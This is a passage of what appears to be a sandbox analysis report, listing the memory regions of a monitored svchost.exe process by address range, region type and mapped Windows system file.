name = "private_0x0000000000ba0000" filename = "" Region: id = 1110 start_va = 0xc20000 end_va = 0xc2ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 1111 start_va = 0xc30000 end_va = 0xc3ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 1112 start_va = 0xc40000 end_va = 0xc4ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 1113 start_va = 0xc50000 end_va = 0xc5ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 1114 start_va = 0xc60000 end_va = 0xc6ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 1115 start_va = 0xc70000 end_va = 0xc7ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 1116 start_va = 0xc80000 end_va = 0xc8ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 1117 start_va = 0xc90000 end_va = 0xc9ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 1118 start_va = 0xca0000 end_va = 0xf6efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1119 start_va = 0xf70000 end_va = 0xf7ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 1120 start_va = 0xf80000 end_va = 0xf8ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 1121 start_va = 0xf90000 end_va = 0xf9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f90000" filename = "" Region: id = 1122 start_va = 0xfa0000 end_va = 0xfaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000fa0000" filename = "" Region: id = 1123 start_va = 0xfb0000 end_va = 0xfbffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 1124 start_va = 0xfc0000 end_va = 0xfcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000fc0000" filename = "" Region: id = 1125 start_va = 0xfd0000 end_va = 0xfdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000fd0000" filename = "" Region: id = 1126 start_va = 0xfe0000 end_va = 0xfeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000fe0000" filename = "" Region: id = 1127 start_va = 0xff0000 end_va = 0xffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ff0000" filename = "" Region: id = 1128 start_va = 0x1000000 end_va = 0x1000fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001000000" filename = "" Region: id = 1129 start_va = 0x1010000 end_va = 0x1010fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001010000" filename = "" Region: id = 1130 start_va = 0x1020000 end_va = 0x102ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 1131 start_va = 0x1030000 end_va = 0x103ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 1132 start_va = 0x1040000 end_va = 0x1040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msxml3r.dll" filename = "\\Windows\\System32\\msxml3r.dll" (normalized: "c:\\windows\\system32\\msxml3r.dll") Region: id = 1133 start_va = 0x1050000 end_va = 0x106ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001050000" filename = "" Region: id = 1134 start_va = 0x1070000 end_va = 0x108ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001070000" filename = "" Region: id = 1135 start_va = 0x1090000 end_va = 0x109ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 1136 start_va = 0x10a0000 end_va = 0x10a0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000010a0000" filename = "" Region: id = 1137 start_va = 0x10b0000 end_va = 0x10bffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 1138 start_va = 0x10c0000 end_va = 0x10dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000010c0000" filename = "" Region: id = 1139 start_va = 0x10e0000 end_va = 0x10fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000010e0000" filename = "" Region: id = 1140 start_va = 0x1100000 end_va = 0x111ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001100000" filename = "" Region: id = 1141 start_va = 0x1120000 end_va = 0x113ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001120000" filename = "" Region: id = 1142 start_va = 0x1140000 end_va = 0x11bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001140000" filename = "" Region: id = 1143 start_va = 0x11c0000 end_va = 0x11dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000011c0000" filename = "" Region: id = 1144 start_va = 0x11e0000 end_va = 0x11fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000011e0000" filename = "" Region: id = 1145 start_va = 0x1200000 end_va = 0x121ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001200000" filename = "" Region: id = 1146 start_va = 0x1220000 end_va = 0x123ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001220000" filename = "" Region: id = 1147 start_va = 0x1240000 end_va = 0x133ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001240000" filename = "" Region: id = 1148 start_va = 0x1340000 end_va = 0x134ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 1149 start_va = 0x1350000 end_va = 0x13cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001350000" filename = "" Region: id = 1150 start_va = 0x13d0000 end_va = 0x13effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000013d0000" filename = "" Region: id = 1151 start_va = 0x13f0000 end_va = 0x140ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000013f0000" filename = "" Region: id = 1152 start_va = 0x1410000 end_va = 0x142ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001410000" filename = "" Region: id = 1153 start_va = 0x1430000 end_va = 0x144ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001430000" filename = "" Region: id = 1154 start_va = 0x1450000 end_va = 0x146ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001450000" filename = "" Region: id = 1155 start_va = 0x1470000 end_va = 0x148ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001470000" filename = "" Region: id = 1156 start_va = 0x1490000 end_va = 0x150ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001490000" filename = "" Region: id = 1157 start_va = 0x1510000 end_va = 0x152ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001510000" filename = "" Region: id = 1158 start_va = 0x1530000 end_va = 0x154ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001530000" filename = "" Region: id = 1159 start_va = 0x1550000 end_va = 0x156ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001550000" filename = "" Region: id = 1160 start_va = 0x1570000 end_va = 0x158ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001570000" filename = "" Region: id = 1161 start_va = 0x1590000 end_va = 0x15affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001590000" filename = "" Region: id = 1162 start_va = 0x15c0000 end_va = 0x15cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000015c0000" filename = "" Region: id = 1163 start_va = 0x15e0000 end_va = 0x165ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000015e0000" filename = "" Region: id = 1164 start_va = 0x1660000 end_va = 0x167ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001660000" filename = "" Region: id = 1165 start_va = 0x1680000 end_va = 0x169ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001680000" filename = "" Region: id = 1166 start_va = 0x16a0000 end_va = 0x179ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000016a0000" filename = "" Region: id = 1167 start_va = 0x17a0000 end_va = 0x17bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000017a0000" filename = "" Region: id = 1168 start_va = 0x17d0000 end_va = 0x17dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000017d0000" filename = "" Region: id = 1169 start_va = 0x17e0000 end_va = 0x18dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000017e0000" filename = "" Region: id = 1170 start_va = 0x18e0000 end_va = 0x18fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000018e0000" filename = "" Region: id = 1171 start_va = 0x1900000 end_va = 0x191ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001900000" filename = "" Region: id = 1172 start_va = 0x1920000 end_va = 0x193ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001920000" filename = "" Region: id = 1173 start_va = 0x1950000 end_va = 0x19cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001950000" filename = "" Region: id = 1174 start_va = 0x19d0000 end_va = 0x19effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000019d0000" filename = "" Region: id = 1175 start_va = 0x19f0000 end_va = 0x1a0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000019f0000" filename = "" Region: id = 1176 start_va = 0x1a10000 end_va = 0x1a2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001a10000" filename = "" Region: id = 1177 start_va = 0x1a30000 end_va = 0x1aaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001a30000" filename = "" Region: id = 1178 start_va = 0x1ab0000 end_va = 0x1b2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ab0000" filename = "" Region: id = 1179 start_va = 0x1b30000 end_va = 0x1b4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001b30000" filename = "" Region: id = 1180 start_va = 0x1b50000 end_va = 0x1b6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001b50000" filename = "" Region: id = 1181 start_va = 0x1b70000 end_va = 0x1beffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001b70000" filename = "" Region: id = 1182 start_va = 0x1bf0000 end_va = 0x1ceffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001bf0000" filename = "" Region: id = 1183 start_va = 0x1cf0000 end_va = 0x1d0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001cf0000" filename = "" Region: id = 1184 start_va = 0x1d10000 end_va = 0x1d2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d10000" filename = "" Region: id = 1185 start_va = 0x1d30000 end_va = 0x1d4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d30000" filename = "" Region: id = 1186 start_va = 0x1d50000 end_va = 0x1d6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d50000" filename = "" Region: id = 1187 start_va = 0x1d80000 end_va = 0x1dfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d80000" filename = "" Region: id = 1188 start_va = 0x1e00000 end_va = 0x1e1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e00000" filename = "" Region: id = 1189 start_va = 0x1e20000 end_va = 0x1e9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e20000" filename = "" Region: id = 1190 start_va = 0x1ea0000 end_va = 0x1ebffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ea0000" filename = "" Region: id = 1191 start_va = 0x1ec0000 end_va = 0x1edffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ec0000" filename = "" Region: id = 1192 start_va = 0x1ef0000 end_va = 0x1f6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ef0000" filename = "" Region: id = 1193 start_va = 0x1f70000 end_va = 0x216ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f70000" filename = "" Region: id = 1194 start_va = 0x2170000 end_va = 0x21effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002170000" filename = "" Region: id = 1195 start_va = 0x2200000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002200000" filename = "" Region: id = 1196 start_va = 0x2280000 end_va = 0x237ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002280000" filename = "" Region: id = 1197 start_va = 0x2380000 end_va = 0x247ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 1198 start_va = 0x2480000 end_va = 0x347ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 1199 start_va = 0x3480000 end_va = 0x349ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003480000" filename = "" Region: id = 1200 start_va = 0x34a0000 end_va = 0x34bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000034a0000" filename = "" Region: id = 1201 start_va = 0x34c0000 end_va = 0x353ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000034c0000" filename = "" Region: id = 1202 start_va = 0x3540000 end_va = 0x355ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003540000" filename = "" Region: id = 1203 start_va = 0x3560000 end_va = 0x357ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003560000" filename = "" Region: id = 1204 start_va = 0x3580000 end_va = 0x359ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003580000" filename = "" Region: id = 1205 start_va = 0x35a0000 end_va = 0x361ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000035a0000" filename = "" Region: id = 1206 start_va = 0x3630000 end_va = 0x36affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003630000" filename = "" Region: id = 1207 start_va = 0x36b0000 end_va = 0x36cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000036b0000" filename = "" Region: id = 1208 start_va = 0x36e0000 end_va = 0x36effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000036e0000" filename = "" Region: id = 1209 start_va = 0x36f0000 end_va = 0x370ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000036f0000" filename = "" Region: id = 1210 start_va = 0x3710000 end_va = 0x372ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003710000" filename = "" Region: id = 1211 start_va = 0x3740000 end_va = 0x37bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003740000" filename = "" Region: id = 1212 start_va = 0x37c0000 end_va = 0x37dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000037c0000" filename = "" Region: id = 1213 start_va = 0x3850000 end_va = 0x38cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003850000" filename = "" Region: id = 1214 start_va = 0x3940000 end_va = 0x394ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003940000" filename = "" Region: id = 1215 start_va = 0x3a50000 end_va = 0x3acffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003a50000" filename = "" Region: id = 1216 start_va = 0x3be0000 end_va = 0x3c5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003be0000" filename = "" Region: id = 1217 start_va = 0x3c60000 end_va = 0x405ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003c60000" filename = "" Region: id = 1218 start_va = 0x4060000 end_va = 0x425ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004060000" filename = "" Region: id = 1219 start_va = 0x4260000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004260000" filename = "" Region: id = 1220 start_va = 0x4360000 end_va = 0x455ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004360000" filename = "" Region: id = 1221 start_va = 0x4620000 end_va = 0x4a1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004620000" filename = "" Region: id = 1222 start_va = 0x4a20000 end_va = 0x4e1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004a20000" filename = "" Region: id = 1223 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1224 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1225 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1226 start_va = 0x76ee0000 end_va = 0x76ee6fff monitored = 0 entry_point = 0x76ee106c region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 1227 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1228 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1229 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1230 start_va = 0xffa90000 end_va = 0xffa9afff monitored = 0 entry_point = 0xffa9246c region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 1231 start_va = 0x7fef30f0000 end_va = 0x7fef32c3fff monitored = 0 entry_point = 0x7fef3126b00 region_type = mapped_file name = "msxml3.dll" filename = "\\Windows\\System32\\msxml3.dll" (normalized: "c:\\windows\\system32\\msxml3.dll") Region: id = 1232 start_va = 0x7fef4240000 end_va = 0x7fef44b9fff monitored = 0 entry_point = 0x7fef4272200 region_type = mapped_file name = "esent.dll" filename = "\\Windows\\System32\\esent.dll" (normalized: "c:\\windows\\system32\\esent.dll") Region: id = 1233 start_va = 0x7fef4fa0000 end_va = 0x7fef4fb3fff monitored = 0 entry_point = 0x7fef4fac210 region_type = mapped_file name = "vss_ps.dll" filename = "\\Windows\\System32\\vss_ps.dll" (normalized: "c:\\windows\\system32\\vss_ps.dll") Region: id = 1234 start_va = 0x7fef8a10000 end_va = 0x7fef8a3ffff monitored = 0 entry_point = 0x7fef8a1c1fc region_type = mapped_file name = "dnsrslvr.dll" filename = "\\Windows\\System32\\dnsrslvr.dll" (normalized: "c:\\windows\\system32\\dnsrslvr.dll") Region: id = 1235 start_va = 0x7fef8b90000 end_va = 0x7fef8b97fff monitored = 0 entry_point = 0x7fef8b91414 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 1236 start_va = 0x7fef9910000 end_va = 0x7fef9920fff monitored = 0 entry_point = 0x7fef9919e7c region_type = mapped_file name = "ssdpapi.dll" filename = "\\Windows\\System32\\ssdpapi.dll" (normalized: "c:\\windows\\system32\\ssdpapi.dll") Region: id = 1237 start_va = 0x7fef9930000 end_va = 0x7fef9993fff monitored = 0 entry_point = 0x7fef9931254 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll") Region: id = 1238 start_va = 0x7fef99a0000 end_va = 0x7fef9a10fff monitored = 0 entry_point = 0x7fef99a1010 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 1239 start_va = 0x7fef9a20000 end_va = 0x7fef9a57fff monitored = 0 entry_point = 0x7fef9a2363c region_type = mapped_file name = "ncsi.dll" filename = "\\Windows\\System32\\ncsi.dll" (normalized: "c:\\windows\\system32\\ncsi.dll") Region: id = 1240 start_va = 0x7fef9a60000 end_va = 0x7fef9aadfff monitored = 0 entry_point = 0x7fef9a746e0 region_type = mapped_file name = "nlasvc.dll" filename = "\\Windows\\System32\\nlasvc.dll" (normalized: "c:\\windows\\system32\\nlasvc.dll") Region: id = 1241 start_va = 0x7fef9ab0000 end_va = 0x7fef9ac6fff monitored = 0 entry_point = 0x7fef9ab1060 region_type = mapped_file name = "vsstrace.dll" filename = "\\Windows\\System32\\vsstrace.dll" (normalized: "c:\\windows\\system32\\vsstrace.dll") Region: id = 1242 start_va = 0x7fef9ad0000 end_va = 0x7fef9c7ffff monitored = 0 entry_point = 0x7fef9ad1010 region_type = mapped_file name = "vssapi.dll" filename = "\\Windows\\System32\\vssapi.dll" (normalized: "c:\\windows\\system32\\vssapi.dll") Region: id = 1243 start_va = 0x7fef9cb0000 end_va = 0x7fef9cd6fff monitored = 0 entry_point = 0x7fef9cb1098 region_type = mapped_file name = "cryptnet.dll" filename = "\\Windows\\System32\\cryptnet.dll" (normalized: "c:\\windows\\system32\\cryptnet.dll") Region: id = 1244 start_va = 0x7fef9ce0000 end_va = 0x7fef9d12fff monitored = 0 entry_point = 0x7fef9ce423c region_type = mapped_file name = "cryptsvc.dll" filename = "\\Windows\\System32\\cryptsvc.dll" (normalized: "c:\\windows\\system32\\cryptsvc.dll") Region: id = 1245 start_va = 0x7fef9f50000 end_va = 0x7fef9f6ffff monitored = 0 entry_point = 0x7fef9f51064 region_type = mapped_file name = "wkssvc.dll" filename = "\\Windows\\System32\\wkssvc.dll" (normalized: "c:\\windows\\system32\\wkssvc.dll") Region: id = 1246 start_va = 0x7fefa4b0000 end_va = 0x7fefa4c7fff monitored = 0 entry_point = 0x7fefa4b1bf8 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 1247 start_va = 0x7fefa4d0000 end_va = 0x7fefa4e0fff monitored = 0 entry_point = 0x7fefa4d16ac region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 1248 start_va = 0x7fefa520000 end_va = 0x7fefa572fff monitored = 0 entry_point = 0x7fefa522b98 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 1249 start_va = 0x7fefa5a0000 end_va = 0x7fefa5a6fff monitored = 0 entry_point = 0x7fefa5a15d8 region_type = mapped_file name = "dnsext.dll" filename = "\\Windows\\System32\\dnsext.dll" (normalized: "c:\\windows\\system32\\dnsext.dll") Region: id = 1250 start_va = 0x7fefa730000 end_va = 0x7fefa73afff monitored = 0 entry_point = 0x7fefa731198 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 1251 start_va = 0x7fefa740000 end_va = 0x7fefa766fff monitored = 0 entry_point = 0x7fefa7498bc region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 1252 start_va = 0x7fefa7a0000 end_va = 0x7fefa806fff monitored = 0 entry_point = 0x7fefa7b6060 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll") Region: id = 1253 start_va = 0x7fefa840000 end_va = 0x7fefa858fff monitored = 0 entry_point = 0x7fefa8411a8 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll") Region: id = 1254 start_va = 0x7fefae70000 end_va = 0x7fefae83fff monitored = 0 entry_point = 0x7fefae716b4 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\System32\\samcli.dll" (normalized: "c:\\windows\\system32\\samcli.dll") Region: id = 1255 start_va = 0x7fefae90000 end_va = 0x7fefaea4fff monitored = 0 entry_point = 0x7fefae91050 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 1256 start_va = 0x7fefaeb0000 end_va = 0x7fefaebbfff monitored = 0 entry_point = 0x7fefaeb18a4 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 1257 start_va = 0x7fefaff0000 end_va = 0x7fefb000fff monitored = 0 entry_point = 0x7fefaff1070 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 1258 start_va = 0x7fefb620000 end_va = 0x7fefb74bfff monitored = 0 entry_point = 0x7fefb6294bc region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 1259 start_va = 0x7fefb750000 end_va = 0x7fefb76cfff monitored = 0 entry_point = 0x7fefb751ef4 region_type = mapped_file name = "samlib.dll" filename = "\\Windows\\System32\\samlib.dll" (normalized: "c:\\windows\\system32\\samlib.dll") Region: id = 1260 start_va = 0x7fefbf00000 end_va = 0x7fefbf06fff monitored = 0 entry_point = 0x7fefbf014b0 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll") Region: id = 1261 